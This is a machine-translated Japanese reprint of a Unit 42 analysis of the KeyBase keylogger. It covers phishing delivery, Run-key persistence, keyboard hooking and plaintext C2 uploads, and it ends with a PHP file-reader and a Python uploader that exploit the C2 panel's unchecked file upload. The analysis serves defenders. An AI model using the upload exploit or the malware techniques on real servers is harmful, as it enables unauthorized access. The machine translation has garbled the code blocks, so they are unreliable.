KeyBase キーロガーマルウェアの家族が公開

KeyBase キーロガーマルウェアの家族が公開

25143
Created On 09/26/18 13:39 PM - Last Modified 02/07/19 23:36 PM


Resolution


ユニット42から転載。

ここ数ヶ月で、私たちのチームは、2月2015以来、野生でされている KeyBase という名前のキーロガーマルウェアの家族を追跡しています。マルウェアは、さまざまな機能が装備されており、著者から直接 $50 のために購入することができます. これは、多くの業界にまたがる組織に対する攻撃に展開されており、主にフィッシングメールを介して配信されます。

合計では、パロアルトネットワークのオートフォーカスの脅威インテリジェンスサービスは、過去4ヶ月間で約1500ユニークなセッションで295ユニークなサンプルを同定した。攻撃は、主にハイテク、高等教育、小売業界をターゲットにしている。

マルウェアの配布とターゲット

KeyBase は、最初の2015の2月中旬に観察された。その直前に、ドメイン ' keybase [.]' で、KeyBase キーロガーのホームページとオンラインストアとして登録されました。

ドメイン名: KEYBASE。インチ

作成日:04-2 月 2015 08:27:44 UTC

最終更新日:05-Apr-2015 19:20:38 utc

有効期間:04-Feb-2016 08:27:44 UTC

この活動は、 2015 2 月7日にhackforums.net フォーラムで KeyBase を発表するハンドル ' サポート™ ' を持つユーザーによって作られた初期の投稿とインラインです。フォーラムの投稿では、マルウェアは、次の機能を売り込んでいる:

  • 高度なキーロガー
  • 完全に検出されないスキャン時間と実行時間 (後で削除)
  • ユーザーフレンドリーな web パネル
  • Unicode のサポート
  • パスワードを回復

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-forums.png

図 1。KeyBase 投稿 hackforums.net

我々は以下を見ることができるように2月2015、約1500セッション KeyBase を運んで以来、山火事によって捕獲されている:

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-2.png

図 2。オートフォーカスの KeyBase タイムライン

我々はまた、迅速にオートフォーカスを使用してターゲット産業を決定することができます:

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-3.png

図 3。オートフォーカスのターゲット産業

ターゲット企業は、世界にまたがる多くの国に位置しています。

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-4.png

図 4。オートフォーカスの対象国

このマルウェアは、主に一般的なルアーを使用してフィッシングメール経由で配信されます。添付ファイル名の例を以下に示します。

  • 注文書 .exe
  • 新しい注文 .exe
  • ドキュメント27895
  • 支払文書 .exe
  • PO #7478
  • 期限切れの請求書 .exe

KeyBase を提供する電子メールのそのような例を以下に見ることができます。

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-5.png

図 5。KeyBase フィッシングメール

全体的に、ユニット42は、KeyBase を使用して別のキャンペーンの多数を見てきました。ソフトウェアが簡単に誰でも購入することができるように、これは驚きとして来る。次の図に示すように、50のさまざまなコマンドと制御 (c2) サーバーは、1つの c2 に接続する最大50の一意のサンプルによって識別されています。

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-6.png

図 6。KeyBase キャンペーン図

マルウェアの概要

KeyBase 自体は、.net Framework を使用して C# で記述されています。これらの事実は、私たちは、基になるコードを逆コンパイルし、キーの機能や特徴を識別することができたキーロガー。

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-7.png

図 7。KeyBase ロゴ

KeyBase の機能には、次のものがあります。

  • 起動時に web サイトを表示する
  • スクリーン ショット
  • ダウンロード/実行
  • 永続性
  • キルタイマー

マルウェアが最初に実行されると、一連のスレッドが生成されます。

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-8.png

図 8。KeyBase の主な機能

新しいスレッドで生成されたさまざまな関数は、ビルド中に攻撃者によって指定したオプションに基づいて不活性になることがあります。機能が有効になっていない場合、関数は次のようになります。

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-9.png

図 9。KeyBase の不活性関数

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-10.png

図 10。KeyBase ビルダ

作成者は、コード内で使用されるさまざまな文字列に対して、いくつかの簡易難読化技法を使用します。この例としては、文字列に追加された1文字の置換、および文字列に対するリバース操作の実行などがあります。

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-11.png

図 11。置換を使用した文字列の難読化

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-12.png

図 12。リバースを使用した文字列の難読化

さらに、著者は ' 暗号化 ' クラスを使用します。このクラスは、コード内で見つかった多数の文字列を復号化するために使用されます。

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-13.png

図 13。KeyBase 暗号化クラス

この逆コンパイルコードへの参照は hackforums.net の古い投稿で発見された, ここで、ユーザー ' エーテル ' サンプルコードを提供.

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-14.png

図 14。hackforums.net での暗号化コードの転記

Microsoft Windows api の数を動的に読み込むときに、著者が使用する ' DecryptText ' 関数が表示されます。

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-15.png

図 15。KeyBase の難読化された API 関数

次の Python コードを使用して、これらの文字列を復号化できます。

クレヨン構文蛍光ペン v 2.6.6

#!/usr/bin/python

#-*-コーディング: utf-8-*-

文字列 = [u "ĈőŘĝŏŒįķŎŖġŎŠĠz", \

            u "ŝƕƸšƔưƕŷƔƇżƚƲƕƎƤのË", \

            u "ķůƒĻŮƊůőŮšŖŴƌůŨž¥", \

            u "ńŰƓļůƋŰŒůŢŗŵƍŰũſ |", \

            u "ŨƚƶľśƌƐƅſƧźƌƚƏŔƚƭżƌƱƟÆ", \

            u "ĴšűĽňżūŅšƃŌŅůũőŮƉ \ u0097", \

            u "ŇżƇśūŨżşŭƃŚŹťůŝŹƐŠ¥", \

            u "ıűŦňŦŬŭĹŦŶőňűŐňŠƅŃŨŹ \ u0098", \

            u "ńűƎřŹŷŴįŴƈŔŧśƀ£", \

            u "ŵƢDŽƏʀưƑƋƯƶŻƝØ"]

キー = ' KeyBase '

デフ12月 (str は、キー):

  key_len = レン (キー)

  out = ""

  c の場合は、s を列挙します (str [:-1])。

  out + = chr (ord (s)-ord (キー [c% key_len])-ord (str [-1]))

  返品

文字列の s の場合:

  印刷 "デコード:% 1/25 | エンコードされた:% s "% (12 月 (秒、キー)、repr)

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

#!/usr/bin/python

#-*-コーディング: utf-8-*-

文字列 = [ u"ĈőŘĝŏŒįķŎŖġŎŠĠz", \

            uƕƸšƔưƕŷƔƇżƚƲƕƎƤのË", \

            u"ķůƒĻŮƊůőŮšŖŴƌůŨž¥", \

            u"ńŰƓļůƋŰŒůŢŗŵƍŰũſ |", \

            u"ŨƚƶľśƌƐƅſƧźƌƚƏŔƚƭżƌƱƟÆ", \

            u"ĴšűĽňżūŅšƃŌŅůũőŮƉ \ u0097", \

            u"ŇżƇśūŨżşŭƃŚŹťůŝŹƐŠ¥", \

            u"ıűŦňŦŬŭĹŦŶőňűŐňŠƅŃŨŹ \ u0098", \

            u"ńűƎřŹŷŴįŴƈŔŧśƀ£", \

            uƢDŽƏʀưƑƋƯƶŻƝØ" ]

キー = ' KeyBase '

デフ12月(strは、 キー):

    key_len =レン(キー)

    out = ""

    c の場合は s を列挙し ます (str[:-1])

        out + = chr(ord(s) - ord(キー[c%key_len]) - ord(str[-1] ))

    返品

文字列 s の場合:

    印刷 "デコード:% 1/25 | エンコードされた:% s " % (12 月( キー)、 repr )

[フォーマット時間: 0.0047 秒]

永続性

KeyBase の持続性は、有効にする必要があります、2つの手法を使用して達成される-スタートアップフォルダにマルウェアをコピーまたは起動時に自動実行するレジストリキーを設定します。KeyBase が自身を startup フォルダにコピーすると、それ自体が "重要な .exe" という名前になります。これは、作成者によって静的に設定され、現在のバージョンのユーザーによって変更することはできません。次の Run レジストリキーで使用されるキーはユーザーによって設定され、常に32バイトの16進数の値になります。

HKCU\Software\Microsoft\Windows\CurrentVersion\Run [32 バイトキー]: [実行可能ファイルへのパス]

キーロガー

KeyBase のキーロガーは、主として ' KeyHook ' という名前の別のクラスで行われます。クラスは github 上で公開されているリポジトリと名前を共有しますが、クラスはカスタム記述のように見えます。一方、カスタム、クラス自体は、被害者のキーボードをフックするために、Microsoft Windows SetWindowsHookExA を使用しての非常に一般的な手法を使用します。

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-16.png

図 16。SetWindowsHookExA を介してキーボードをフック

作成者は、適切なキーボードイベントの処理を期待どおりに続行します。

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-17.png

図 17。キーボードイベントの処理

このクラスには、Unicode 文字を処理したり、フォアグラウンドウィンドウの名前を取得したりする機能もあります。これにより、マルウェアはキーが押されているかを特定するだけでなく、キー押下が送信されたアプリケーションを識別できます。

コマンドとコントロール (C2)

リモートサーバーとのすべての通信は、HTTP 経由で行われます。データは暗号化または難読化されません。最初の実行時に、KeyBase は以下に示すように、リモートサーバへの初期チェックインを実行します。

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-18.png

図 18。初期 KeyBase 通知 HTTP GET 要求

要求には多数の HTTP ヘッダーが含まれていません。これにより、アクティビティを悪質としてフラグを付けるための簡単な手法が提供されます。また、要求に含まれるハードコーディングされた GET 変数を使用してアクティビティを検出することは、かなり初歩的であることに注意する必要があります。被害者のコンピューター名と現在の時刻は異なりますが、要求の残りの部分は静的なままになります。

KeyBase は、次のデータを C2 サーバーに返送することもできます。

  • キーストローク
  • クリップボード
  • スクリーン ショット

このデータの例を以下に示します。

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-19.png

図 19。KeyBase クリップボードデータのアップロード

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-20.png

図 20。KeyBase キーストロークデータのアップロード

C2 サーバーとのこの通信中に、KeyBase には、さまざまな GET パラメーターを使用して、生のクリップボードとキーストロークログデータが含まれます。このデータは URI エンコードされますが、それ以外の場合は clear で送信されます。

最後に、Keybase は、スクリーンショットをアップロードするために、特定の URI をまた使います。パス '/image/upload.php ' はマルウェア内にハードコードされています。C2 サーバーに返送されたすべての画像は、'/image/Images/' パス内に配置されます。以下に示すように、アップロードされたデータは再び暗号化されません。

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-21.png

図 21。KeyBase スクリーンショット画像のアップロード

Web パネル

web パネル自体は、革新的な特性を提供していません。それは以下に見られるようにシンプルな赤/グレーの配色を使用しています。

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-22.png

図 22。KeyBase web パネル

このパネルを使用すると、攻撃者は感染したコンピュータ、キーストローク、スクリーンショット、クリップボードデータ、およびパスワードデータをすばやく表示できます。残念ながら、KeyBase の作成者は改ページを使用しないため、大量のデータが攻撃者に表示される場合にパフォーマンスが低下します。

興味深い発見

私たちの研究の過程で、ユニット42は、'/image/Images/' パスを表示するときに認証が必要でないことを発見しました。それは彼/彼女のローカルマシン上で KeyBase をテストしていた演算子が現れたので、特に1つの C2 サーバーが際立っていた。このように、彼のマシンのスクリーンショットは、彼のサーバーにアップロードされ、一般大衆によって表示される可能性があります。以下のスクリーンショットで、私たちは、' KeyBase v1.0 ' フォルダーをはっきりと見ることができます。このフォルダには、ほぼ確実に KeyBase のインストールが含まれます。オペレータのデスクトップを表示している間, 我々はまた、他のキーロガーの数を見ることができます, など ' ホークアイキーロガー ' と ' 騎士ロガー '. また、ノートの人気の crypter ' AegisCrypter ' という名前です。最後に, 我々はまた、ユーザーが海賊行為に従事していることがわかります, 両方のコピーとして ' ホビット ' と ' フューリー ' デスクトップにも表示されます.

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-23.png

図 23。KeyBase オペレータデスクトップスクリーンショット

アップロードした画像を確認しながら、リモートデスクトップ経由で Windows Web サーバー 2008 R2 インスタンスにログインするユーザーも識別します。これは、攻撃者が ' ターボメーラー 2.7.10 ' のインスタンスを使用してスパムキャンペーンを起動しているように見えます。残念ながら、それはオペレータがこの特定の瞬間に彼/彼女のユーザー名/パスワードを忘れていたが表示されます。

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-24.png

図 24。フィッシングメールを送信する KeyBase オペレータ

アップロードされたスクリーンショットのさらなる検討は、ユーザーが自分の Facebook アカウントにログインしたときの動作を示しています。ユーザーは、' China Onyeali ' と名付けられるように見え、そして、彼/彼女の最新の努力の一部を議論して観察されます。具体的には、rghost でホストされている rar ファイルへのリンクを参照してください。net には次のファイルが含まれます。我々はまた、別のチャットウィンドウでホークアイキーロガーを議論する演算子を参照してください。オペレーターの Facebook ページは、ナイジェリアの Mbieri に住んでいると主張しています。我々は、以前のナイジェリアの俳優には、既製のツールを使用して、昨年7 月に私たちの419進化レポートでビジネスを攻撃すると報じた。このユーザーは、Facebook のセキュリティチームに報告されています。

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-25.png

図 25。KeyBase オペレータが Facebook にログイン

さらに興味深い発見

バックエンド C2 コードの研究中に他の興味深い発見がなされた。特に、このファイルはサーバーへのファイルアップロードを処理するので、php ファイルを調べて分析しました。このように、リモートサーバーにアップロードされたファイルの種類についての検証はありません。

http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-26.png

図 26。KeyBase スクリーンショットは、PHP スクリプトをアップロード

サードパーティは、単に '/image/Images/' ディレクトリに不正なアクセスを得るために PHP スクリプトをアップロードすることができますので、これは、セキュリティの観点から問題を提起する。次の php コードは、web パネルのユーザ名とパスワードを含む KeyBase ' config. php ' スクリプトを読み取るために使用することができます。

クレヨン構文蛍光ペン v 2.6.6

<? php

  $file = '../../config.php ';

  エコー "それは動作します!"<br>";

  if (file_exists ($file)) {

  "ファイルの読み取り" をエコーします。<br>";

  エコー file_get_contents ($file);

  }

?>

1

2

3

4

5

6

7

8

9

10

<? php

    $file = '../../config.php ';

    エコー "それは動作します!"."<br>";

    if (file_exists($file)) {

        "ファイルの読み取り" をエコー します。<br>";

        エコー file_get_contents($file);

    }

?>

[フォーマット時間: 0.0047 秒]

さらに、次の Python コードを使用してこのファイルをアップロードし、結果を読み取ることができます。

クレヨン構文蛍光ペン v 2.6.6

インポート要求

sys をインポートします。

len (システム argv)! = 2:

  印刷 "使用率:% s [php_file]"% __file__

  システム終了 (1)

URL = ""

印刷 "送信要求..."

multiple_files = [(' ファイル ', (' WIN-JJFOIJGL_6_5_14_22_2 ', open (システム argv [1], ' rb '))]

r = 要求。投稿 (URL + "画像/アップロード. php", ファイル = multiple_files)

印刷 "結果:"

印刷

r = 要求。get (URL + "画像/画像/WIN-JJFOIJGL_6_5_14_22_2")

r テキストを印刷する

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

インポート要求

sys をインポートします。

len(sys.argv) ! = 2:

    印刷 "使用率:% s [php_file] " % __file__

    sys.出口(1)

URL = ""

印刷 "送信要求..."

multiple_files = [(' ファイル ', ' WIN-JJFOIJGL_6_5_14_22_2 ', open(sys.argv[1], ' rb ')]

r =要求post(URL + "画像/アップロード. php", ファイル=multiple_files)

印刷 "結果:"

印刷

r =要求get(URL + "画像/画像/WIN-JJFOIJGL_6_5_14_22_2")

r を印刷 します。テキスト

[フォーマット時間: 0.0028 秒]

結論

全体的に、この KeyBase マルウェアは非常に単純です。これは、いくつかのより人気のあるマルウェアの家族の中で利用可能な機能の数を欠いている, と C2 の web パネルは、サードパーティが不正アクセスを得ることができるセキュリティの脆弱性が含まれています. KeyBase のためのビルダーは、使いやすい、ユーザーフレンドリーなインターフェイスを提供しています。しかし、多くのオプションは、マルウェア自体にハードコーディングされています。例としては、永続性を維持するためにコピーするときに KeyBase が使用するファイル名や、コマンドと制御フェーズで使用するさまざまな URI パスなどがあります。

このマルウェアは、洗練されたいくつかの問題がありますが、ユニット42は、一般的にハイテク、高等教育、小売業界をターゲットに、攻撃者による使用量の大幅かつ継続的な上昇を観察している。パロアルトネットワークの顧客は、悪意のある KeyBase を検出することができる山火事を介して保護されています。読者は、保護を展開するために提供される指標を使用することもできます。

サンプルハッシュとそれに関連するドメインと IP アドレスの一覧については、次のリンクを参照してください



Actions
  • Print
  • Copy Link

    https://knowledgebase.paloaltonetworks.com/KCSArticleDetail?id=kA10g000000CllPCAS&lang=ja&refURL=http%3A%2F%2Fknowledgebase.paloaltonetworks.com%2FKCSArticleDetail

Choose Language